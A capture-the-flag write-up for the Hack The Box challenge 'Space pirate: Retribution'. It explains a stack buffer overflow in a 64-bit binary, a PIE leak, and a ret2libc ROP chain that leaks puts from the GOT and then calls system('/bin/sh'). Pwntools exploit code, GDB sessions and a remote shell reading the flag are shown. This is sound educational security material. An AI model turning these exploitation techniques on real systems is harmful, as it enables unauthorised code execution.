Space pirate: Retribution
13 minutes to read
We are given a 64-bit binary called sp_retribution
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
Reverse engineering
If we open the binary in Ghidra we will see this main
function:
void main() {
char local_b[3];
setup();
banner();
while (true) {
while (true) {
printf(&DAT_00101f68, &DAT_00100d78);
read(0, local_b, 2);
if (local_b[0] != '1') break;
show_missiles();
}
if (local_b[0] != '2') break;
missile_launcher();
}
printf("\n%s[-] Invalid option! Exiting..\n\n", &DAT_00100d70);
/* WARNING: Subroutine does not return */
exit(0x520);
}
Basically, we have two options:
$ ./sp_retribution
Missile Launcher!
β
β β
ββ β
ββββββ β
β β ββββββββββ
βββββββββββββ β
ββββββββββββββββ β
βββββββββββββββββββ β
ββββββββββββββββββββββββ
ββββββββ βββββββββββββββ
βββββββββ βββββββββββββ
ββββββββββ βββββββββββ
ββββββββββββ ββββββββββ
β βββββββββββββββ βββββββββββ
βββββββββββββββββββ ββββββββ
βββββββββββββββββββββββββββ
βββββββββ ββββββββββββββ
β ββββββββ βββββββββββββ
βββββββ ββββββββββββ
βββββ ββββββββββ
β ββ ββββββββββ
β ββ ββββββββ
βββ β βββββ β β
βββ β
βββ ββ
ββββ βββ β
ββββ βββββ β
ββββββββββ β
ββββββββ
βββββ
ββ β
1. Show missiles π
2. Change target's location π―
>>
The first one is show_missiles
:
void show_missiles() {
printf("%s\n-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n", &DAT_00100d60);
puts(&DAT_00101dc3);
printf(&DAT_00101ddb, &DAT_00100d70, &DAT_00100d58, &DAT_00100d60);
printf(&DAT_00101e00, &DAT_00100d70, &DAT_00100d58, &DAT_00100d60);
printf(&DAT_00101e28, &DAT_00100d70, &DAT_00100d58, &DAT_00100d68, &DAT_00100d60);
puts("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=");
puts(&DAT_00101e90);
printf(&DAT_00101eb0, &DAT_00100d70, &DAT_00100d58, &DAT_00100d68, &DAT_00100d60);
printf(&DAT_00101ee0, &DAT_00100d70, &DAT_00100d58, &DAT_00100d68, &DAT_00100d60);
printf(&DAT_00101f0c, &DAT_00100d70, &DAT_00100d60);
printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n%s", &DAT_00100d78);
}
This function is useless, since there is no user input and all the printed strings are fix:
$ ./sp_retribution
Missile Launcher!
β
β β
ββ β
ββββββ β
β β ββββββββββ
βββββββββββββ β
ββββββββββββββββ β
βββββββββββββββββββ β
ββββββββββββββββββββββββ
ββββββββ βββββββββββββββ
βββββββββ βββββββββββββ
ββββββββββ βββββββββββ
ββββββββββββ ββββββββββ
β βββββββββββββββ βββββββββββ
βββββββββββββββββββ ββββββββ
βββββββββββββββββββββββββββ
βββββββββ ββββββββββββββ
β ββββββββ βββββββββββββ
βββββββ ββββββββββββ
βββββ ββββββββββ
β ββ ββββββββββ
β ββ ββββββββ
βββ β βββββ β β
βββ β
βββ ββ
ββββ βββ β
ββββ βββββ β
ββββββββββ β
ββββββββ
βββββ
ββ β
1. Show missiles π
2. Change target's location π―
>> 1
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Missile #1 stats: π
[Power]: ββββ
[Range]: βββββ
[Speed]: ββββββββ
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Missile #2 stats: βοΈ
[Power]: βββββββββ
[Range]: ββββββββ
[Speed]: ββ
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
1. Show missiles π
2. Change target's location π―
>>
So let’s analyze missile_launcher
:
void missile_launcher() {
char verify [32];
char coord [32];
printf("\n[*] Current target\'s coordinates: x = [0x%lx], y = [0x%lx]\n\n[*] Insert new coordinates: x = [0x%lx], y = ", 0x53e5854620fb399f, 0x576b96b95df201f9, 0x53e5854620fb399f);
verify._0_8_ = 0;
verify._8_8_ = 0;
verify._16_8_ = 0;
verify._24_8_ = 0;
read(0, coord, 31);
printf("\n[*] New coordinates: x = [0x53e5854620fb399f], y = %s\n[*] Verify new coordinates? (y/n): ", coord);
read(0, verify, 132);
printf("\n%s[-] Permission Denied! You need flag.txt in order to proceed. Coordinates have been reset!%s\n", &DAT_00100d70, &DAT_00100d78);
}
Buffer Overflow vulnerability
The above function is vulnerable to Buffer Overflow since there is a variable called verify
that has 32 bytes assigned as buffer, but the program is reading up to 132 bytes from stdin
and storing the data into verify
, overflowing the reserved buffer if the size of the input data is greater than 32 bytes.
We can check that we can crash the program:
$ ./sp_retribution
Missile Launcher!
β
β β
ββ β
ββββββ β
β β ββββββββββ
βββββββββββββ β
ββββββββββββββββ β
βββββββββββββββββββ β
ββββββββββββββββββββββββ
ββββββββ βββββββββββββββ
βββββββββ βββββββββββββ
ββββββββββ βββββββββββ
ββββββββββββ ββββββββββ
β βββββββββββββββ βββββββββββ
βββββββββββββββββββ ββββββββ
βββββββββββββββββββββββββββ
βββββββββ ββββββββββββββ
β ββββββββ βββββββββββββ
βββββββ ββββββββββββ
βββββ ββββββββββ
β ββ ββββββββββ
β ββ ββββββββ
βββ β βββββ β β
βββ β
βββ ββ
ββββ βββ β
ββββ βββββ β
ββββββββββ β
ββββββββ
βββββ
ββ β
1. Show missiles π
2. Change target's location π―
>> 2
[*] Current target's coordinates: x = [0x53e5854620fb399f], y = [0x576b96b95df201f9]
[*] Insert new coordinates: x = [0x53e5854620fb399f], y = asdf
[*] New coordinates: x = [0x53e5854620fb399f], y = asdf
U
[*] Verify new coordinates? (y/n): AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[-] Permission Denied! You need flag.txt in order to proceed. Coordinates have been reset!
zsh: segmentation fault (core dumped) ./sp_retribution
And the program crashes because when the program wants to return from missile_launcher
, the saved return address which was on the stack now is overwritten with 0x4141414141414141
(our junk data). Since it is not a valid memory address, the program just crashes (segmentation fault).
Exploit strategy
Since the binary has NX protection, we must use Return Oriented Programming (ROP) to execute arbitrary code. This technique makes use of gadgets, which are sets of instructions that end in ret
(usually). We can add a list of addresses for gadgets on the stack so that when a gadget is executed, it returns to the stack and executes the next gadget. That is the meaning of ROP chain.
This is a bypass for NX protection since we are not executing instructions in the stack (shellcode), but we are redirecting the program to specific addresses that are executable and run the instructions we want.
In order to gain code execution, we will perform a ret2libc attack. This technique consists of calling system
inside Glibc using "/bin/sh"
as first parameter to the function (which is also inside Glibc). The problem we must handle is ASLR, which is a protection set for shared libraries that randomize a base address.
Since we want to call system
and take "/bin/sh"
, we need to know the addresses of those values inside Glibc at runtime (these addresses will change in every execution). Hence, we must find a way to leak an address inside Glibc because the only thing that is random is the base address of Glibc; the rest of the addresses are computed as offsets to that base address.
Since the binary has PIE enabled, we need to leak an address of the binary at runtime and compute the base address using offsets.
The process of leaking a function comes with calling puts
using an address from the Global Offset Table (GOT) as first argument (for example, the same puts
). This table contains the real addresses of the external functions used by the program (if they have been resolved). Since puts
is used by the binary, to call it we can use the Procedure Linkage Table (PLT), which applies a jump instruction to the real address of puts
.
One more thing to consider is the use of gadgets. Because of the calling conventions for 64-bit binaries, when calling a function, the arguments must be stored in registers (in order: $rdi
, $rsi
, $rdx
, $rcx
…). For example, the instruction pop rdi
will take the next value from the stack and store it in $rdi
.
Exploit development
Nice, let’s start with the leakage process. First of all, let’s leak an address of the binary. The best is to run GDB and take a look at the variable coord
before writing, because it is printed right after. Moreover, in the above output, we entered asdf
as coord
and the program printed U
.
$ gdb -q sp_retribution
Reading symbols from sp_retribution...
(No debugging symbols found in sp_retribution)
gefβ€ disassemble missile_launcher
Dump of assembler code for function missile_launcher:
0x0000000000000a22 <+0>: push rbp
0x0000000000000a23 <+1>: mov rbp,rsp
0x0000000000000a26 <+4>: sub rsp,0x50
0x0000000000000a2a <+8>: movabs rax,0x53e5854620fb399f
0x0000000000000a34 <+18>: mov QWORD PTR [rbp-0x8],rax
0x0000000000000a38 <+22>: movabs rax,0x576b96b95df201f9
0x0000000000000a42 <+32>: mov QWORD PTR [rbp-0x10],rax
0x0000000000000a46 <+36>: mov rcx,QWORD PTR [rbp-0x8]
0x0000000000000a4a <+40>: mov rdx,QWORD PTR [rbp-0x10]
0x0000000000000a4e <+44>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000000a52 <+48>: mov rsi,rax
0x0000000000000a55 <+51>: lea rdi,[rip+0x11f4] # 0x1c50
0x0000000000000a5c <+58>: mov eax,0x0
0x0000000000000a61 <+63>: call 0x770 <printf@plt>
0x0000000000000a66 <+68>: mov QWORD PTR [rbp-0x50],0x0
0x0000000000000a6e <+76>: mov QWORD PTR [rbp-0x48],0x0
0x0000000000000a76 <+84>: mov QWORD PTR [rbp-0x40],0x0
0x0000000000000a7e <+92>: mov QWORD PTR [rbp-0x38],0x0
0x0000000000000a86 <+100>: lea rax,[rbp-0x30]
0x0000000000000a8a <+104>: mov edx,0x1f
0x0000000000000a8f <+109>: mov rsi,rax
0x0000000000000a92 <+112>: mov edi,0x0
0x0000000000000a97 <+117>: call 0x790 <read@plt>
0x0000000000000a9c <+122>: lea rax,[rbp-0x30]
0x0000000000000aa0 <+126>: mov rsi,rax
0x0000000000000aa3 <+129>: lea rdi,[rip+0x1216] # 0x1cc0
0x0000000000000aaa <+136>: mov eax,0x0
0x0000000000000aaf <+141>: call 0x770 <printf@plt>
0x0000000000000ab4 <+146>: lea rax,[rbp-0x50]
0x0000000000000ab8 <+150>: mov edx,0x84
0x0000000000000abd <+155>: mov rsi,rax
0x0000000000000ac0 <+158>: mov edi,0x0
0x0000000000000ac5 <+163>: call 0x790 <read@plt>
0x0000000000000aca <+168>: lea rdx,[rip+0x2a7] # 0xd78
0x0000000000000ad1 <+175>: lea rsi,[rip+0x298] # 0xd70
0x0000000000000ad8 <+182>: lea rdi,[rip+0x1241] # 0x1d20
0x0000000000000adf <+189>: mov eax,0x0
0x0000000000000ae4 <+194>: call 0x770 <printf@plt>
0x0000000000000ae9 <+199>: nop
0x0000000000000aea <+200>: leave
0x0000000000000aeb <+201>: ret
End of assembler dump.
gefβ€ break *missile_launcher+117
Breakpoint 1 at 0xa97
gefβ€ run
Starting program: ./sp_retribution
warning: the debug information found in "./glibc/ld-2.23.so" does not match "./glibc/ld-linux-x86-64.so.2" (CRC mismatch).
warning: the debug information found in "./glibc/libc-2.23.so" does not match "./glibc/libc.so.6" (CRC mismatch).
Missile Launcher!
β
β β
ββ β
ββββββ β
β β ββββββββββ
βββββββββββββ β
ββββββββββββββββ β
βββββββββββββββββββ β
ββββββββββββββββββββββββ
ββββββββ βββββββββββββββ
βββββββββ βββββββββββββ
ββββββββββ βββββββββββ
ββββββββββββ ββββββββββ
β βββββββββββββββ βββββββββββ
βββββββββββββββββββ ββββββββ
βββββββββββββββββββββββββββ
βββββββββ ββββββββββββββ
β ββββββββ βββββββββββββ
βββββββ ββββββββββββ
βββββ ββββββββββ
β ββ ββββββββββ
β ββ ββββββββ
βββ β βββββ β β
βββ β
βββ ββ
ββββ βββ β
ββββ βββββ β
ββββββββββ β
ββββββββ
βββββ
ββ β
1. Show missiles π
2. Change target's location π―
>> 2
[*] Current target's coordinates: x = [0x53e5854620fb399f], y = [0x576b96b95df201f9]
[*] Insert new coordinates: x = [0x53e5854620fb399f], y =
Breakpoint 1, 0x0000555555400a97 in missile_launcher ()
Now, the program is stopped at read(0, coord, 31)
. The second argument (coord
) is stored in $rsi
, let’s examine the memory:
gefβ€ x/i $rip
=> 0x555555400a97 <missile_launcher+117>: call 0x555555400790 <read@plt>
gefβ€ x/8gx $rsi
0x7fffffffe590: 0x0000555555400d68 0x0000555555400d70
0x7fffffffe5a0: 0x0000555555400d78 0x0000555555400d80
0x7fffffffe5b0: 0x576b96b95df201f9 0x53e5854620fb399f
0x7fffffffe5c0: 0x00007fffffffe5e0 0x0000555555400c9d
Another way of visualizing the memory contents is using hexdump
:
gefβ€ hexdump byte $rsi
0x00007fffffffe590 68 0d 40 55 55 55 00 00 70 0d 40 55 55 55 00 00 h.@UUU..p.@UUU..
0x00007fffffffe5a0 78 0d 40 55 55 55 00 00 80 0d 40 55 55 55 00 00 x.@UUU....@UUU..
0x00007fffffffe5b0 f9 01 f2 5d b9 96 6b 57 9f 39 fb 20 46 85 e5 53 ...]..kW.9. F..S
0x00007fffffffe5c0 e0 e5 ff ff ff 7f 00 00 9d 0c 40 55 55 55 00 00 ..........@UUU..
PIE bypass
The problem is that all values starting by 0x0000555555
are address within the binary:
gefβ€ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x00555555400000 0x00555555403000 0x00000000000000 r-x ./sp_retribution
0x00555555602000 0x00555555603000 0x00000000002000 r-- ./sp_retribution
0x00555555603000 0x00555555604000 0x00000000003000 rw- ./sp_retribution
0x007ffff7a0d000 0x007ffff7bcd000 0x00000000000000 r-x ./glibc/libc.so.6
0x007ffff7bcd000 0x007ffff7dcd000 0x000000001c0000 --- ./glibc/libc.so.6
0x007ffff7dcd000 0x007ffff7dd1000 0x000000001c0000 r-- ./glibc/libc.so.6
0x007ffff7dd1000 0x007ffff7dd3000 0x000000001c4000 rw- ./glibc/libc.so.6
0x007ffff7dd3000 0x007ffff7dd7000 0x00000000000000 rw-
0x007ffff7dd7000 0x007ffff7dfd000 0x00000000000000 r-x ./glibc/ld-linux-x86-64.so.2
0x007ffff7ff3000 0x007ffff7ff6000 0x00000000000000 rw-
0x007ffff7ff6000 0x007ffff7ffa000 0x00000000000000 r-- [vvar]
0x007ffff7ffa000 0x007ffff7ffc000 0x00000000000000 r-x [vdso]
0x007ffff7ffc000 0x007ffff7ffd000 0x00000000025000 r-- ./glibc/ld-linux-x86-64.so.2
0x007ffff7ffd000 0x007ffff7ffe000 0x00000000026000 rw- ./glibc/ld-linux-x86-64.so.2
0x007ffff7ffe000 0x007ffff7fff000 0x00000000000000 rw-
0x007ffffffde000 0x007ffffffff000 0x00000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x00000000000000 --x [vsyscall]
Since strings in C end in a null byte, if we enter exactly 8 bytes, we will see those 8 bytes plus the memory address 0x0000555555400d70
. Let’s try:
gefβ€ continue
Continuing.
AAAAAAA
[*] New coordinates: x = [0x53e5854620fb399f], y = AAAAAAA
@UUU
[*] Verify new coordinates? (y/n):
There it is, that @UUU
is our memory leak from the binary to bypass PIE. Let’s use this Python script to extract this value:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('sp_retribution')
glibc = ELF('glibc/libc.so.6', checksec=False)
def get_process():
if len(sys.argv) == 1:
return elf.process()
host, port = sys.argv[1].split(':')
return remote(host, int(port))
def main():
p = get_process()
p.sendlineafter(b'>> ', b'2')
p.recvuntil(b'[*] Insert new coordinates:')
p.sendlineafter(b'y = ', b'AAAAAAA')
p.recvuntil(b'y = AAAAAAA\n')
leak = u64(p.recvline().strip().ljust(8, b'\0'))
elf.address = leak - 0xd70
log.success(f'ELF base address: {hex(elf.address)}')
p.interactive()
if __name__ == '__main__':
main()
$ python3 solve.py
[*] './sp_retribution'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './sp_retribution': pid 2455843
[+] ELF base address: -0xd00
[*] Switching to interactive mode
[*] Verify new coordinates? (y/n): $
Notice that we have substracted 0xd70
to get the base address of the binary, which looks correct since it ends in 000
in hexadecimal.
Leaking Glibc addresses
At this point, we can use ROP gadgets from the binary, since we can compute the addresses at runtime.
First of all, let’s find out the offset needed to control the return address:
$ gdb -q sp_retribution
Reading symbols from sp_retribution...
(No debugging symbols found in sp_retribution)
gefβ€ pattern create 300
[+] Generating a pattern of 300 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaa
abfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
[+] Saved as '$_gef0'
gefβ€ run
Starting program: ./sp_retribution
warning: the debug information found in "./glibc/ld-2.23.so" does not match "./glibc/ld-linux-x86-64.so.2" (CRC mismatch).
warning: the debug information found in "./glibc/libc-2.23.so" does not match "./glibc/libc.so.6" (CRC mismatch).
Missile Launcher!
β
β β
ββ β
ββββββ β
β β ββββββββββ
βββββββββββββ β
ββββββββββββββββ β
βββββββββββββββββββ β
ββββββββββββββββββββββββ
ββββββββ βββββββββββββββ
βββββββββ βββββββββββββ
ββββββββββ βββββββββββ
ββββββββββββ ββββββββββ
β βββββββββββββββ βββββββββββ
βββββββββββββββββββ ββββββββ
βββββββββββββββββββββββββββ
βββββββββ ββββββββββββββ
β ββββββββ βββββββββββββ
βββββββ ββββββββββββ
βββββ ββββββββββ
β ββ ββββββββββ
β ββ ββββββββ
βββ β βββββ β β
βββ β
βββ ββ
ββββ βββ β
ββββ βββββ β
ββββββββββ β
ββββββββ
βββββ
ββ β
1. Show missiles π
2. Change target's location π―
>> 2
[*] Current target's coordinates: x = [0x53e5854620fb399f], y = [0x576b96b95df201f9]
[*] Insert new coordinates: x = [0x53e5854620fb399f], y = asdf
[*] New coordinates: x = [0x53e5854620fb399f], y = asdf
U
[*] Verify new coordinates? (y/n): aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaa
aaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
[-] Permission Denied! You need flag.txt in order to proceed. Coordinates have been reset!
Program received signal SIGSEGV, Segmentation fault.
0x0000555555400aeb in missile_launcher ()
gefβ€ pattern offset $rsp
[+] Searching for '$rsp'
[+] Found at offset 88 (little-endian search) likely
[+] Found at offset 81 (big-endian search)
So, 88 bytes. The following procedure is pretty standard in ret2libc type challenges, here you have some write-ups with an in-depth explanation: Here’s a LIBC, Shooting Star and Notepad as a Service.
This is the payload:
rop = ROP(elf)
offset = 88
junk = b'A' * offset
payload = junk
payload += p64(rop.rdi[0])
payload += p64(elf.got.puts)
payload += p64(elf.plt.puts)
payload += p64(elf.sym.main)
p.sendlineafter(b'[*] Verify new coordinates? (y/n): ', payload)
p.recvline()
p.recvline()
puts_addr = u64(p.recvline().strip().ljust(8, b'\0'))
log.info(f'Leaked puts() address: {hex(puts_addr)}')
glibc.address = puts_addr - glibc.sym.puts
log.success(f'Glibc base address: {hex(glibc.address)}')
p.interactive()
At this point, we should get the base address of Glibc and return to main
:
$ python3 solve.py
[*] './sp_retribution'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './sp_retribution': pid 2465010
[+] ELF base address: 0x56159d600000
[*] Loaded 14 cached gadgets for 'sp_retribution'
[*] Leaked puts() address: 0x7f272d8096a0
[+] Glibc base address: 0x7f272d79a000
[*] Switching to interactive mode
Missile Launcher!
β
β β
ββ β
ββββββ β
β β ββββββββββ
βββββββββββββ β
ββββββββββββββββ β
βββββββββββββββββββ β
ββββββββββββββββββββββββ
ββββββββ βββββββββββββββ
βββββββββ βββββββββββββ
ββββββββββ βββββββββββ
ββββββββββββ ββββββββββ
β βββββββββββββββ βββββββββββ
βββββββββββββββββββ ββββββββ
βββββββββββββββββββββββββββ
βββββββββ ββββββββββββββ
β ββββββββ βββββββββββββ
βββββββ ββββββββββββ
βββββ ββββββββββ
β ββ ββββββββββ
β ββ ββββββββ
βββ β βββββ β β
βββ β
βββ ββ
ββββ βββ β
ββββ βββββ β
ββββββββββ β
ββββββββ
βββββ
ββ β
1. Show missiles π
2. Change target's location π―
>> $
Getting RCE
Now, we can perform the ret2libc attack by calling system("/bin/sh")
:
payload = junk
payload += p64(rop.rdi[0])
payload += p64(next(glibc.search(b'/bin/sh')))
payload += p64(glibc.sym.system)
p.sendlineafter(b'>> ', b'2')
p.recvuntil(b'[*] Insert new coordinates:')
p.sendlineafter(b'y = ', b'AAAAAAA')
p.sendlineafter(b'[*] Verify new coordinates? (y/n): ', payload)
p.recv()
p.interactive()
$ python3 solve.py
[*] './sp_retribution'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './sp_retribution': pid 2467854
[+] ELF base address: 0x563151200000
[*] Loaded 14 cached gadgets for 'sp_retribution'
[*] Leaked puts() address: 0x7f4451cef6a0
[+] Glibc base address: 0x7f4451c80000
[*] Switching to interactive mode
$ ls
flag.txt glibc solve.py sp_retribution
And we have a local shell.
Flag
Let’s run the exploit in the remote instance:
$ python3 solve.py 161.35.162.182:31897
[*] './sp_retribution'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Opening connection to 161.35.162.182 on port 31897: Done
[+] ELF base address: 0x56049ec00000
[*] Loaded 14 cached gadgets for 'sp_retribution'
[*] Leaked puts() address: 0x7fd09ff4c6a0
[+] Glibc base address: 0x7fd09fedd000
[*] Switching to interactive mode
$ ls
flag.txt
glibc
sp_retribution
$ cat flag.txt
HTB{w3_f1n4lly_m4d3_1t}
The full exploit script can be found in here: solve.py
.